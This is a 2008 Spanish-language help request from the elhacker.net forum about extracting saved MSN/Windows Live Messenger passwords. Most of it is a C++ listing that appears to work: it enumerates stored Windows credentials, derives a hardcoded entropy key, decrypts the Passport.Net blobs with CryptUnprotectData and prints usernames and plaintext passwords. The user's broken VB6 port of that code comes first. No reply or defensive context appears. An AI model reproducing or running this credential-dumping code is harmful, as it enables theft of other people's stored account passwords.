elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  [ayuda] sacar contraseñas guardadas de msn
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [ayuda] sacar contraseñas guardadas de msn  (Leído 4,059 veces)
ZoNike

Desconectado Desconectado

Mensajes: 13


Ver Perfil
[ayuda] sacar contraseñas guardadas de msn
« en: 22 Febrero 2008, 12:39 pm »

wenas, estoy intentando traducir un codigo que encontré en C++ para sacar las contraseñas guardadas del msn messenger, pero no consigo hacerlo, alguien me puede exar un cable o decirme que es lo que hago mal? gracias.

Mi codigo en VB6:
Código
  1. Private Declare Function CredEnumerateA Lib "advapi32.dll" (ByVal lpszFilter As Integer, ByVal lFlags As Integer, ByRef pCount As Integer, ByRef lppCredentials As Integer) As Integer
  2. Private Declare Function CredFree Lib "advapi32.dll" (ByVal pBuffer As Integer) As Integer
  3. Private Declare Function CryptUnprotectData Lib "crypt32.dll" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Integer, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As Integer, ByVal pPromptStruct As Integer, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Integer
  4. Private Const EntropyString = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"
  5.  
  6. Private Type DATA_BLOB
  7.  cbData As Long
  8.  pbData As String 'As Long
  9. End Type
  10.  
  11. Dim blobCrypt As DATA_BLOB
  12. Dim blobEntropy As DATA_BLOB
  13. Dim blobPlainText As DATA_BLOB
  14. Dim EntropyData(37) As String
  15. Private Sub Form_Load()
  16. CredEnumerateA 0, 0, Count, CredentialCollection
  17.  
  18. For i = 1 To 36
  19.   EntropyData(i) = Mid(EntropyString, i, 1)
  20. Next i
  21.  
  22. For i = 0 To Count
  23.    blobCrypt.pbData = EntropyData(i) 'CredentialCollection[i]->CredentialBlob;
  24.    blobCrypt.cbData = 1 'CredentialCollection[i]->CredentialBlobSize;
  25.    blobEntropy.pbData = 1 '(BYTE *)&EntropyData;
  26.    blobEntropy.cbData = 74 'sizeof(EntropyData);
  27.  
  28.    CryptUnprotectData blobCrypt, 0, blobEntropy, 0, 0, 1, blobPlainText
  29.  
  30.    'MsgBox blobPlainText.cbData
  31.    MsgBox blobPlainText.pbData 'deberia devolver el password del msn
  32. Next i
  33.  
  34. CredFree (CredentialCollection)
  35. End
  36. End Sub




Codigo que encontré en C++:
Código
  1. #include<windows.h>
  2. #include<stdio.h>
  3.  
  4. typedef struct _CREDENTIAL_ATTRIBUTEA {
  5.  LPSTR Keyword;
  6.  DWORD Flags;
  7.  DWORD ValueSize;
  8.  LPBYTE Value;
  9. } CREDENTIAL_ATTRIBUTEA, *PCREDENTIAL_ATTRIBUTEA;
  10.  
  11. typedef struct _CREDENTIALA {
  12.  DWORD Flags;
  13.  DWORD Type;
  14.  LPSTR TargetName;
  15.  LPSTR Comment;
  16.  FILETIME LastWritten;
  17.  DWORD CredentialBlobSize;
  18.  LPBYTE CredentialBlob;
  19.  DWORD Persist;
  20.  DWORD AttributeCount;
  21.  PCREDENTIAL_ATTRIBUTEA Attributes;
  22.  LPSTR TargetAlias;
  23.  LPSTR UserName;
  24. } CREDENTIALA, *PCREDENTIALA;
  25.  
  26. typedef struct _CRYPTOAPI_BLOB {
  27.  DWORD  cbData;
  28.  BYTE*  pbData;
  29. } DATA_BLOB;
  30.  
  31. typedef struct _CRYPTPROTECT_PROMPTSTRUCT {
  32. DWORD   cbSize;
  33. DWORD   dwPromptFlags;
  34. HWND    hwndApp;
  35. LPCWSTR  szPrompt;
  36. } CRYPTPROTECT_PROMPTSTRUCT;
  37.  
  38. typedef CREDENTIALA CREDENTIAL;
  39. typedef PCREDENTIALA PCREDENTIAL;
  40.  
  41.  
  42. typedef BOOL (WINAPI *typeCryptUnprotectData)(
  43.           DATA_BLOB *,
  44.           LPWSTR *,
  45.           DATA_BLOB *,
  46.           PVOID *,          
  47.           CRYPTPROTECT_PROMPTSTRUCT *,
  48.           DWORD,
  49.           DATA_BLOB *
  50. );
  51. typedef BOOL (WINAPI *typeCredEnumerateA)(
  52.           LPCTSTR,
  53.           DWORD,
  54.           DWORD *,
  55.           PCREDENTIALA **
  56. );
  57. typedef BOOL (WINAPI *typeCredReadA)(
  58.           LPCTSTR,
  59.           DWORD,
  60.           DWORD,
  61.           PCREDENTIALA *
  62. );
  63. typedef VOID (WINAPI *typeCredFree)(PVOID);
  64.  
  65. typeCredEnumerateA pfCredEnumerateA;
  66. typeCredReadA pfCredReadA;
  67. typeCredFree pfCredFree;
  68. typeCryptUnprotectData pfCryptUnprotectData;
  69.  
  70. int main()
  71. {
  72.  PCREDENTIAL *CredentialCollection = NULL;
  73.  DATA_BLOB blobCrypt, blobPlainText, blobEntropy;
  74.  
  75.  char szEntropyStringSeed[37] = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll
  76.  short int EntropyData[37];
  77.  short int tmp, pnet, j;
  78.  
  79.  HMODULE hDLL, hDLL2;
  80.  DWORD Count, i;
  81.  
  82.  if (hDLL = LoadLibrary("advapi32.dll")) {
  83.   pfCredEnumerateA = (typeCredEnumerateA)GetProcAddress(hDLL, "CredEnumerateA");
  84.   pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA");
  85.   pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree");
  86.  
  87.   if (pfCredEnumerateA == NULL ||
  88.     pfCredReadA == NULL ||
  89.     pfCredFree == NULL) {
  90.  
  91.     printf("Error!\n");
  92.     return -1;
  93.   }
  94.  }
  95.  
  96.  if (hDLL2 = LoadLibrary("crypt32.dll")) {
  97.   pfCryptUnprotectData = (typeCryptUnprotectData)GetProcAddress(hDLL2, "CryptUnprotectData");
  98.  
  99.   if (pfCryptUnprotectData == NULL) {
  100.     printf("Error!\n");
  101.     return -1;
  102.   }
  103.  }
  104.  
  105.  pfCredEnumerateA(0, 0, &Count, &CredentialCollection);
  106.  printf("\nCount: %d\n", Count);
  107.  //Calculate Entropy Data
  108.  for (i = 0; i < 37; i++) { // strlen(szEntropyStringSeed) = 37
  109.   tmp = (short int)szEntropyStringSeed[i];
  110.   tmp <<= 2;
  111.   EntropyData[i] = tmp;
  112.  }
  113.  
  114.  if (Count) {
  115.   for (i = 0; i < Count; i++) {
  116.     pnet = strcmp(CredentialCollection[i]->TargetName, "Passport.Net\\*");
  117.     if (!pnet) {
  118.      blobEntropy.pbData = (BYTE *)&EntropyData;
  119.      blobEntropy.cbData = 74; //sizeof(EntropyData)
  120.  
  121.      blobCrypt.pbData = CredentialCollection[i]->CredentialBlob;
  122.      blobCrypt.cbData = CredentialCollection[i]->CredentialBlobSize;
  123.  
  124.      pfCryptUnprotectData(&blobCrypt, NULL, &blobEntropy, NULL, NULL, 1, &blobPlainText);
  125.  
  126.      printf("<-- MSN Messenger -->\n");  
  127.      printf("Username : %s\n", CredentialCollection[i]->UserName);
  128.      printf("Password : %ls\n\n", blobPlainText.pbData);
  129.     } else {
  130.      printf("<-- Windows Live Messenger -->\n");
  131.      printf("Username : %s\n", CredentialCollection[i]->TargetName);
  132.      printf("Password : %ls\n\n", CredentialCollection[i]->CredentialBlob);
  133.     }
  134.   }
  135.  }
  136.  pfCredFree(CredentialCollection);
  137.  system("PAUSE");
  138.  return 0;
  139. }
  140.  


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines